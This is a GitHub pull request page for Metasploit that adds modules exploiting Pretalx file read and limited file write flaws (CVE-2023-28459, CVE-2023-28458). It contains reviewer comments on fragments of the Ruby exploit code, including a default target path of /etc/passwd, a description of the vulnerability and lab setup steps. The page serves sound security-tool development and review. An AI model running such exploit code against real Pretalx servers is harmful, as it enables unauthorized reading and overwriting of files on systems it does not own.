-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Adds modules for Pretalx File Read/Limited File Write (CVE-2023-28459, CVE-2023-28458) #20480
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adds modules for Pretalx File Read/Limited File Write (CVE-2023-28459, CVE-2023-28458) #20480
Conversation
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
'uri' => normalize_uri('orga', 'admin/') | ||
}) | ||
|
||
fail_with(Msf::Exploit::Failure::NoAccess, 'Do not have privilege to admin, please provide correct credentials') unless res&.code == 200 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
fail_with(Msf::Exploit::Failure::NoAccess, 'Do not have privilege to admin, please provide correct credentials') unless res&.code == 200 | |
fail_with(Msf::Exploit::Failure::Unknown, 'Something went wrong') unless res | |
fail_with(Msf::Exploit::Failure::NoAccess, 'Do not have privilege to admin, please provide correct credentials') unless res.code == 200 |
|
||
html = res.get_html_document | ||
version_element = html.at('span//a')&.text | ||
return version_element |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It might return a Rex::Version
instead?
return false unless res&.code == 302 | ||
|
||
true |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return false unless res&.code == 302 | |
true | |
res&.code == 302 |
def register_proposal(proposal_info = {}) | ||
proposal_name = proposal_info[:proposal_name] || Rex::Text.rand_text_alphanumeric(10) | ||
abstract = proposal_info[:abstract] || Rex::Text.rand_text_alphanumeric(10) | ||
proposal_info[:description] || '' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
proposal_info[:description] || '' | |
description = proposal_info[:description] || '' |
res_min_num_forms = hidden_inputs.dig(0, 'resource-MIN_NUM_FORMS') | ||
res_max_num_forms = hidden_inputs.dig(0, 'resource-MAX_NUM_FORMS') | ||
|
||
data_post = get_resource_data({ csrf_token: csrf_token, proposal_name: proposal_name, submission_type: submission_type, content_locale: content_locale, abstract: abstract, description: description, notes: Rex::Text.rand_text_alphanumeric(16), image: '', total_forms: '1', initial_forms: res_initial_forms, min_num_forms: res_min_num_forms, max_num_forms: res_max_num_forms, resource_id: '', resource_description: Rex::Text.rand_text_alphanumeric(4), resource_name: resource_name, resource_content: resource_data }) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please, can you reformat this into multiple lines?
update_info( | ||
info, | ||
'Name' => 'Pretalx Arbitrary File Read/Limited File Write', | ||
'Description' => 'This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx will iteratively include any file referenced by any HTML tag and does not properly check the path of the file, which can lead to arbitrary file read. The module requires crendetials that allow schedule export, schedule release and approval of proposals. Additionaly, module requires conference name and URL for media files.', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
'Description' => 'This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx will iteratively include any file referenced by any HTML tag and does not properly check the path of the file, which can lead to arbitrary file read. The module requires crendetials that allow schedule export, schedule release and approval of proposals. Additionaly, module requires conference name and URL for media files.', | |
'Description' => 'This module exploits functionality in Pretalx that export conference schedule as zipped file. The Pretalx will iteratively include any file referenced by any HTML tag and does not properly check the path of the file, which can lead to arbitrary file read. The module requires credentials that allow schedule export, schedule release and approval of proposals. Additionally, module requires conference name and URL for media files.', |
) | ||
register_options([ | ||
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), | ||
OptString.new('FILE_CONTENT', [false, 'Content to overwritten file']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This option doesn't seem to used.
OptString.new('FILE_CONTENT', [false, 'Content to overwritten file']), |
end | ||
|
||
def exploit | ||
cookie_jar.clear |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cookie_jar.clear |
Release NotesAdds two modules: one remote exploitation module targeting CVE-2023-28458, an authenticated limited file write, and a second auxiliary scanner module targeting CVE-2023-28459, an authenticated file read vulnerability. |
This PR adds modules for CVE-2023-28459 and CVE-2023-28458. Previously, modules have been split into separate PRs (#20413, #20404), it makes more sense to have them in one PR together as they both exploit similar functionality.
Vulnerable Application
Pretalx is a web-based conference planning tool, used to manage call for paper submissions, talk selection and so on. It used by many major IT conferences - such as OffensiveCon, Hexacon,... Versions 2.3.1 and prior are vulnerable to arbitrary file read, which exploits unsanitized path in schedule export. The module requires set of credentials of Pretalx user and Pretalx needs to have existing conference, where the attacker can submit malicious proposal.
Installation steps:
git clone https://github.com/pretalx/pretalx-docker.git
docker-compose.yml
to following:sudo docker-compose up
orga/event/
orga/event/[conference name]/schedule/rooms/
orga/event/[conference name]/
sudo docker exec -u 0 -it pretalx /bin/bash
/data
folder, sopretalx
user can write export there